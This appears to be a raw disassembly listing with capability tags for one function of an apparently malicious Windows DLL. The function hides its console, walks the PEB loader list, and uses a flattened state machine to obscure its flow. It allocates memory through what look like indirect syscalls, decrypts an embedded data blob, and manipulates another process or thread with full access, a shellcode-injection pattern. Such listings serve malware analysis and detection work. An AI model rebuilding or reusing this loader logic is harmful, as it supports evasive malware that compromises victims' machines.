Function at 0x180004a80
Capabilities:
Access peb ldr_data
Check os version

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
nop
add rsp, 0x28
jmp 0x180004a80
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x888
movaps xmmword [rsp + 0x870], xmm6
mov rax, qword [0x180276000]
xor rax, rsp
mov qword [rsp + 0x868], rax
call fcn.1800014e0
mov rsi, rax
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x60]
mov qword [0x180276aa8], rbx
lea rdi, [rsp + 0xf0]
mov r8d, 0x180
mov rcx, rdi
xor edx, edx
call fcn.180013560
mov rax, qword [rbx + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x20]
call fcn.180003820
mov rcx, rdi
mov rdx, rsi
call fcn.1800040a0
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x98], rax
mov rdi, qword [rsp + 0x118]
mov ebx, dword [rsp + 0x120]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x1b8]
mov ebp, dword [rsp + 0x1c0]
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0xb8], rax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x7c], eax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xa0], rax
xorps xmm6, xmm6
mov eax, 0x2114bc5d
mov ecx, dword [rsp + 0x100]
mov dword [rsp + 0x78], ecx
lea r12, [fcn.180005b5e]
lea r13, [rsp + 0x748]
jmp 0x180004c20
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0x6dafa719
mov ecx, 0x76f449a5
cmove eax, ecx
cmp dword [0x180276b7c], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0x509306d
jle 0x180004c70
cmp eax, 0x57d33534
jg 0x180004e00
cmp eax, 0x1c955e4e
jg 0x180004f1d
cmp eax, 0xa1c138a
jg 0x180004fdf
cmp eax, 0x509306e
je 0x1800051b3
cmp eax, 0x6e4f648
jne 0x180004c20
mov eax, 0xb3866379
jmp 0x180004c20
cmp eax, 0xd12d5960
jle 0x180004ef0
cmp eax, 0xed71f31b
jg 0x180004f58
cmp eax, 0xdc339563
jg 0x180004fff
cmp eax, 0xd12d5961
je 0x1800051bd
cmp eax, 0xd38a6f1b
jne 0x180004c20
mov qword [rsp + 0xe8], 0xfffffffffd050f80
mov ecx, ebp
mov rdx, r14
call fcn.180005b50
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
mov rdx, 0xffffffffffffffff
xor r8d, r8d
lea rsi, [rsp + 0xe8]
mov r9, rsi
call fcn.1800031d0
mov ecx, ebp
mov rdx, r14
call fcn.180005b50
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
mov rdx, 0xffffffffffffffff
xor r8d, r8d
mov r9, rsi
call fcn.1800031d0
mov ecx, ebp
mov rdx, r14
call fcn.180005b50
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
mov rdx, 0xffffffffffffffff
xor r8d, r8d
mov r9, rsi
call fcn.1800031d0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xd8], 0x6b800
mov ecx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0xa0]
call fcn.180005b50
movups xmmword [rsp + 0x58], xmm6
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0x1000
mov rcx, r12
mov rdx, 0xffffffffffffffff
lea r8, [rsp + 0xe0]
xor r9d, r9d
call fcn.1800031d0
test eax, eax
mov eax, 0xed71f31c
mov ecx, 0xf2df0b48
cmove eax, ecx
jmp 0x180004c20
cmp eax, 0x683c9e33
jle 0x180004f86
cmp eax, 0x76f449a4
jg 0x18000501f
cmp eax, 0x683c9e34
je 0x1800051db
cmp eax, 0x6dafa719
jne 0x180004c20
mov rcx, qword [rsp + 0xe0]
lea rdx, section..data
mov r8d, 0x1ae00
mov r9, qword [rsp + 0x98]
call fcn.180003e30
movaps xmm0, xmmword [0x180015020]
movaps xmmword [rsp + 0x850], xmm0
mov rsi, qword [rsp + 0xe0]
mov rcx, r13
lea rdx, [rsp + 0x850]
mov r8d, 0x10
call fcn.1800054b0
mov rcx, r13
mov rdx, rsi
mov r8d, 0x6b800
call fcn.1800058b0
mov qword [rsp + 0xd0], 0
mov ecx, ebx
mov rdx, rdi
call fcn.180005b50
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xd0]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.180005b5e
mov eax, 0x76f449a5
jmp 0x180004c20
cmp eax, 0xb3866378
jle 0x180004fb1
cmp eax, 0xbcaff80a
jg 0x180005042
cmp eax, 0xb3866379
je 0x180005232
cmp eax, 0xb458924a
je 0x180004f79
jmp 0x180004c20
cmp eax, 0x2d722824
jg 0x18000506f
cmp eax, 0x1c955e4f
je 0x18000523c
cmp eax, 0x2114bc5d
jne 0x180004c20
cmp dword [rsp + 0x8c], 0
mov eax, 0xd38a6f1b
mov ecx, 0x7d6bb24b
cmove eax, ecx
jmp 0x180004c20
cmp eax, 0xf2df0b47
jg 0x18000510e
cmp eax, 0xed71f31c
je 0x18000525a
cmp eax, 0xeee604ee
jne 0x180004c20
mov eax, 0xe726b7e1
xor r15d, r15d
jmp 0x180004c20
cmp eax, 0x5ee9eb13
jg 0x180005131
cmp eax, 0x57d33535
je 0x180005267
cmp eax, 0x5b6b6849
jne 0x180004c20
mov eax, 0xe726b7e1
jmp 0x180004c20
cmp eax, 0x871426fd
je 0x1800052d3
cmp eax, 0x91caf4a2
je 0x1800052f1
cmp eax, 0xa54c2a3d
jne 0x180004c20
mov eax, 0x18f8a66f
xor r15d, r15d
jmp 0x180004c20
cmp eax, 0xa1c138b
je 0x180005301
cmp eax, 0x18f8a66f
jne 0x180004c20
mov eax, 0x509306e
jmp 0x180004c20
cmp eax, 0xdc339564
je 0x18000532f
cmp eax, 0xe726b7e1
jne 0x180004c20
mov eax, 0xb3866379
jmp 0x180004c20
cmp eax, 0x76f449a5
je 0x18000533c
cmp eax, 0x7d6bb24b
jne 0x180004c20
mov eax, 0x6627377c
xor r15d, r15d
jmp 0x180004c20
cmp eax, 0xbcaff80b
je 0x18000541b
cmp eax, 0xc0c3fb80
jne 0x180004c20
cmp byte [rsp + 0x77], 0
mov eax, 0x5ee9eb14
mov ecx, 0xa54c2a3d
cmovne eax, ecx
jmp 0x180004c20
cmp eax, 0x2d722825
je 0x180005428
cmp eax, 0x2df17297
jne 0x180004c20
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd8], 0x6b800
mov ecx, dword [rsp + 0x84]
mov rdx, qword [rsp + 0xb8]
call fcn.180005b50
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x20
mov rcx, r12
mov rdx, 0xffffffffffffffff
lea r8, [rsp + 0xe0]
lea r9, [rsp + 0xd8]
call fcn.1800031d0
test eax, eax
mov eax, 0x871426fd
mov ecx, 0x683c9e34
cmove eax, ecx
jmp 0x180004c20
cmp eax, 0xf2df0b48
je 0x180004bf4
cmp eax, 0xf42266c6
jne 0x180004c20
mov eax, 0xa1c138b
xor r15d, r15d
jmp 0x180004c20
cmp eax, 0x5ee9eb14
jne 0x180005475
mov r8d, 0x4d0
lea rsi, [rsp + 0x270]
mov rcx, rsi
xor edx, edx
call fcn.180013560
mov dword [rsp + 0x2a0], 0x10000b
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0xa8]
call fcn.180005b50
mov rdx, qword [rsp + 0xd0]
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
mov r8, rsi
xor r9d, r9d
call fcn.1800031d0
test eax, eax
mov eax, 0xd12d5961
mov ecx, 0x57d33535
cmove eax, ecx
jmp 0x180004c20
mov eax, 0x6627377c
jmp 0x180004c20
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0xf42266c6
mov ecx, 0xa1c138b
jmp 0x180004c0d
mov ecx, dword [rsp + 0x88]
mov rdx, qword [rsp + 0xc0]
call fcn.180005b50
mov rdx, qword [rsp + 0xd0]
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
xor r8d, r8d
xor r9d, r9d
call fcn.1800031d0
test eax, eax
mov eax, 0xeee604ee
mov ecx, 0x2d722825
cmove eax, ecx
jmp 0x180004c20
mov eax, 0x18f8a66f
jmp 0x180004c20
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0xdc339564
mov ecx, 0x5b6b6849
jmp 0x18000531a
mov eax, 0x509306e
xor r15d, r15d
jmp 0x180004c20
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x2f0], rax
mov ecx, dword [rsp + 0x80]
mov rdx, qword [rsp + 0xb0]
call fcn.180005b50
mov rdx, qword [rsp + 0xd0]
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
lea r8, [rsp + 0x270]
xor r9d, r9d
call fcn.1800031d0
test eax, eax
mov eax, 0xbcaff80b
mov ecx, 0x2df17297
cmove eax, ecx
jmp 0x180004c20
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0xdc339564
mov ecx, 0x1c955e4f
jmp 0x180004c0d
mov eax, 0xe726b7e1
mov r15d, 1
jmp 0x180004c20
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0xf42266c6
mov ecx, 0x6e4f648
cmove eax, ecx
cmp dword [0x180276b7c], 0xa
cmovl eax, ecx
xor r15d, r15d
jmp 0x180004c20
mov eax, 0x1c955e4f
xor r15d, r15d
jmp 0x180004c20
mov rcx, qword [rsp + 0xe0]
lea rdx, section..data
mov r8d, 0x1ae00
mov r9, qword [rsp + 0x98]
call fcn.180003e30
movaps xmm0, xmmword [0x180015020]
movaps xmmword [rsp + 0x850], xmm0
mov rsi, qword [rsp + 0xe0]
mov rcx, r13
lea rdx, [rsp + 0x850]
mov r8d, 0x10
call fcn.1800054b0
mov rcx, r13
mov rdx, rsi
mov r8d, 0x6b800
call fcn.1800058b0
mov qword [rsp + 0xd0], 0
mov ecx, ebx
mov rdx, rdi
call fcn.180005b50
movups xmmword [rsp + 0x48], xmm6
movups xmmword [rsp + 0x38], xmm6
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xd0]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.180005b5e
test eax, eax
setne byte [rsp + 0x77]
mov eax, dword [0x180276b78]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
mov eax, 0x6dafa719
mov ecx, 0xc0c3fb80
jmp 0x180004c0d
mov eax, 0xb3866379
xor r15d, r15d
jmp 0x180004c20
mov ecx, ebp
mov rdx, r14
call fcn.180005b50
mov rdx, qword [rsp + 0xd0]
movups xmmword [rsp + 0x60], xmm6
movups xmmword [rsp + 0x50], xmm6
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x20], xmm6
mov rcx, r12
xor r8d, r8d
xor r9d, r9d
call fcn.1800031d0
test eax, eax
mov eax, 0xb458924a
mov ecx, 0x91caf4a2
cmove eax, ecx
jmp 0x180004c20
cmp eax, 0x6627377c
jne 0x180004c20
mov rcx, qword [rsp + 0x868]
xor rcx, rsp
call fcn.180005b30
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x870]
add rsp, 0x888
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret